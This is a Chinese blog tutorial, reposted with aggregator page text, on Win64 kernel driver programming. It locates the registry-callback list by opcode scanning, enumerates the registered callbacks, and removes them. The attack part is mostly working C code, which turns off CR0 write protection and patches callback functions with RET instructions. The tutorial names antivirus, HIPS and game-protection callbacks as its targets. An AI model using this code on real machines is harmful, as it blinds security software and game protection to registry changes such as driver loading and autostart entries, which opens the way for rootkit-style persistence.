欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

Win64 驱动内核编程-32.枚举与删除注册表回调

发布时间:2025/6/17 编程问答 10 豆豆
生活随笔 收集整理的这篇文章主要介绍了 Win64 驱动内核编程-32.枚举与删除注册表回调 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

枚举与删除注册表回调

    注册表回调是一个监控注册表读写的回调,它的效果非常明显,一个回调能实现在SSDT 上 HOOK 十几个 API 的效果。部分游戏保护还会在注册表回调上做功夫,监控 service

键的子键,实现双层拦截驱动加载(在映像回调那里还有一层)。而在卡巴斯基等 HIPS 类软件里,则用来监控自启动等键值。

    注册表回调在 XP 系统上貌似是一个数组,但是从 WINDOWS 2003 开始,就变成了一个链表。这个链表的头称为 CallbackListHead,可在 CmUnRegisterCallback 中找到:

    搜索的过程跟寻找进程、线程、映像的数组类似,根据 lea REG,XXX 来定位。不过为了更加精准,这次资料中是采用两次 lea REG,XXX 来定位:

 

ULONG64 FindCmpCallbackAfterXP() { ULONG64 uiAddress=0; PUCHAR pCheckArea=NULL, i=0, j=0, StartAddress=0, EndAddress=0; ULONG64 dwCheckAddr=0; UNICODE_STRING unstrFunc; UCHAR b1=0,b2=0,b3=0; ULONG templong=0,QuadPart=0xfffff800; RtlInitUnicodeString(&unstrFunc, L"CmUnRegisterCallback"); pCheckArea = (UCHAR*)MmGetSystemRoutineAddress (&unstrFunc) ; if (!pCheckArea) { KdPrint(("MmGetSystemRoutineAddress failed.")); return 0; } StartAddress = (PUCHAR)pCheckArea; EndAddress = (PUCHAR)pCheckArea + PAGE_SIZE; for(i=StartAddress;i<EndAddress;i++) { if( MmIsAddressValid(i) && MmIsAddressValid(i+1) && MmIsAddressValid(i+2) ) { b1=*i; b2=*(i+1); b3=*(i+2); if( b1==0x48 && b2==0x8d && b3==0x0d ) //488d0d(lea rcx,) { j=i-5; b1=*j; b2=*(j+1); b3=*(j+2); if( b1==0x48 && b2==0x8d && b3==0x54 ) //488d54(lea rdx,) { memcpy(&templong,i+3,4); uiAddress = MakeLong64ByLong32(templong) + (ULONGLONG)i + 7; return uiAddress; } } } } return 0; }

 

 

 

    定位完毕之后,就是枚举链表了。注册表回调是一个“结构体链表”,类似于 EPROCESS,它的定义如下:

 

typedef struct _CM_NOTIFY_ENTRY { LIST_ENTRY ListEntryHead; ULONG UnKnown1; ULONG UnKnown2; LARGE_INTEGER Cookie; ULONG64 Context; ULONG64 Function; }CM_NOTIFY_ENTRY, *PCM_NOTIFY_ENTRY;


    我们只关心两个值,一个是 Cookie,一个是 Function。前者可以理解成注册表回调的“句柄”(用 CmUnRegisterCallback 注销回调传入的就是这个 Cookie),后者是回调函数的地址。代码如下:

 

 

ULONG CountCmpCallbackAfterXP(ULONG64* pPspLINotifyRoutine) { ULONG sum = 0; ULONG64 dwNotifyItemAddr; ULONG64* pNotifyFun; ULONG64* baseNotifyAddr; ULONG64 dwNotifyFun; LARGE_INTEGER cmpCookie; PLIST_ENTRY notifyList; PCM_NOTIFY_ENTRY notify; dwNotifyItemAddr = *pPspLINotifyRoutine; notifyList = (LIST_ENTRY *)dwNotifyItemAddr; do { notify = (CM_NOTIFY_ENTRY *)notifyList; if (MmIsAddressValid(notify)) { if (MmIsAddressValid((PVOID)(notify->Function)) && notify->Function > 0x8000000000000000) { DbgPrint("[CmCallback]Function=%p\tCookie=%p", (PVOID)(notify->Function),(PVOID)(notify->Cookie.QuadPart)); //notify->Function=(ULONG64)MyRegistryCallback; sum ++; } } notifyList = notifyList->Flink; }while ( notifyList != ((LIST_ENTRY*)(*pPspLINotifyRoutine)) ); return sum; }


执行效果(在有360的机器上执行的):

 

    

对付注册表回调有三种方法:

1.直接使用CmUnRegisterCallback 把回调注销;

2.把链表中记录的回调地址修改为自定义的空函数的回调地址;

3.直接在目标回调地址上写一个 RET,使其不执行任何代码就返回。 第三种 方法 没有针对性,可以用于对付 任何 回调函数。DisableFunctionWithReturnValue 用来对付有返回值的回调函数,DisableFunctionWithoutReturnValue 用于对付无返回值的回调函数。

 

/* 给函数头写RET废除函数功能,这份代码可以用于对抗任意回调函数,但仅限于WIN64系统。 DisableFunctionWithReturnValue用于有返回值的回调 DisableFunctionWithoutReturnValue用于无返回值的回调 */KIRQL WPOFFx64() { KIRQL irql=KeRaiseIrqlToDpcLevel(); UINT64 cr0=__readcr0(); cr0 &= 0xfffffffffffeffff; __writecr0(cr0); _disable(); return irql; }void WPONx64(KIRQL irql) { UINT64 cr0=__readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); }VOID DisableFunctionWithReturnValue(PVOID Address) { KIRQL irql; CHAR patchCode[] = "\x33\xC0\xC3"; //xor eax,eax + ret if(MmIsAddressValid(Address)) { irql=WPOFFx64(); memcpy(Address,patchCode,3); WPONx64(irql); } }VOID DisableFunctionWithoutReturnValue(PVOID Address) { KIRQL irql; if(MmIsAddressValid(Address)) { irql=WPOFFx64(); RtlFillMemory(Address,1,0xC3); WPONx64(irql); } }

 

 

 

 

 

代码备份:win7 X64

 

typedef struct _CM_NOTIFY_ENTRY { LIST_ENTRY ListEntryHead; ULONG UnKnown1; ULONG UnKnown2; LARGE_INTEGER Cookie; ULONG64 Context; ULONG64 Function; }CM_NOTIFY_ENTRY, *PCM_NOTIFY_ENTRY;LARGE_INTEGER Cookie; ULONG64 CmCallbackListHead=0;NTSTATUS MyRegistryCallback(IN PVOID CallbackContext,IN PVOID Argument1,IN PVOID Argument2) { return STATUS_SUCCESS; }ULONG CountCmpCallbackAfterXP(ULONG64* pPspLINotifyRoutine) { ULONG sum = 0; ULONG64 dwNotifyItemAddr; ULONG64* pNotifyFun; ULONG64* baseNotifyAddr; ULONG64 dwNotifyFun; LARGE_INTEGER cmpCookie; PLIST_ENTRY notifyList; PCM_NOTIFY_ENTRY notify; dwNotifyItemAddr = *pPspLINotifyRoutine; notifyList = (LIST_ENTRY *)dwNotifyItemAddr; do { notify = (CM_NOTIFY_ENTRY *)notifyList; if (MmIsAddressValid(notify)) { if (MmIsAddressValid((PVOID)(notify->Function)) && notify->Function > 0x8000000000000000) { DbgPrint("[CmCallback]Function=%p\tCookie=%p", (PVOID)(notify->Function),(PVOID)(notify->Cookie.QuadPart)); //notify->Function=(ULONG64)MyRegistryCallback; sum ++; } } notifyList = notifyList->Flink; }while ( notifyList != ((LIST_ENTRY*)(*pPspLINotifyRoutine)) ); return sum; }LONG64 MakeLong64ByLong32(LONG lng32) { LONG64 lng64=0; if(lng32>0) { lng64=(LONG64)lng32; } else { lng64=0xffffffffffffffff; memcpy(&lng64,&lng32,4); } return lng64; }ULONG64 FindCmpCallbackAfterXP() { ULONG64 uiAddress=0; PUCHAR pCheckArea=NULL, i=0, j=0, StartAddress=0, EndAddress=0; ULONG64 dwCheckAddr=0; UNICODE_STRING unstrFunc; UCHAR b1=0,b2=0,b3=0; ULONG templong=0,QuadPart=0xfffff800; RtlInitUnicodeString(&unstrFunc, L"CmUnRegisterCallback"); pCheckArea = (UCHAR*)MmGetSystemRoutineAddress (&unstrFunc) ; if (!pCheckArea) { KdPrint(("MmGetSystemRoutineAddress failed.")); return 0; } StartAddress = (PUCHAR)pCheckArea; EndAddress = (PUCHAR)pCheckArea + PAGE_SIZE; for(i=StartAddress;i<EndAddress;i++) { if( MmIsAddressValid(i) && MmIsAddressValid(i+1) && MmIsAddressValid(i+2) ) { b1=*i; b2=*(i+1); b3=*(i+2); if( b1==0x48 && b2==0x8d && b3==0x0d ) //488d0d(lea rcx,) { j=i-5; b1=*j; b2=*(j+1); b3=*(j+2); if( b1==0x48 && b2==0x8d && b3==0x54 ) //488d54(lea rdx,) { memcpy(&templong,i+3,4); uiAddress = MakeLong64ByLong32(templong) + (ULONGLONG)i + 7; return uiAddress; } } } } return 0; }void EnumCmCallback64() { //test to add my reg callback CmRegisterCallback(MyRegistryCallback, NULL, &Cookie); DbgPrint("[MY FUNCTION]: %p",(PVOID)MyRegistryCallback); DbgPrint("[MY COOKIE]: %p",(PVOID)Cookie.QuadPart); //get CmCallbackListHead address CmCallbackListHead=FindCmpCallbackAfterXP(); DbgPrint("CmCallbackListHead: %p",(PVOID)CmCallbackListHead); //enum callback address CountCmpCallbackAfterXP((ULONG64*)CmCallbackListHead); //unregister my callback CmUnRegisterCallback(Cookie); }/* 给函数头写RET废除函数功能,这份代码可以用于对抗任意回调函数,但仅限于WIN64系统。 DisableFunctionWithReturnValue用于有返回值的回调 DisableFunctionWithoutReturnValue用于无返回值的回调 */KIRQL WPOFFx64() { KIRQL irql=KeRaiseIrqlToDpcLevel(); UINT64 cr0=__readcr0(); cr0 &= 0xfffffffffffeffff; __writecr0(cr0); _disable(); return irql; }void WPONx64(KIRQL irql) { UINT64 cr0=__readcr0(); cr0 |= 0x10000; _enable(); __writecr0(cr0); KeLowerIrql(irql); }VOID DisableFunctionWithReturnValue(PVOID Address) { KIRQL irql; CHAR patchCode[] = "\x33\xC0\xC3"; //xor eax,eax + ret if(MmIsAddressValid(Address)) { irql=WPOFFx64(); memcpy(Address,patchCode,3); WPONx64(irql); } }VOID DisableFunctionWithoutReturnValue(PVOID Address) { KIRQL irql; if(MmIsAddressValid(Address)) { irql=WPOFFx64(); RtlFillMemory(Address,1,0xC3); WPONx64(irql); } }

宋孖健,13

 

 

 

 

 

《新程序员》:云原生和全面数字化实践50位技术专家共同创作,文字、视频、音频交互阅读

总结

以上是生活随笔为你收集整理的Win64 驱动内核编程-32.枚举与删除注册表回调的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。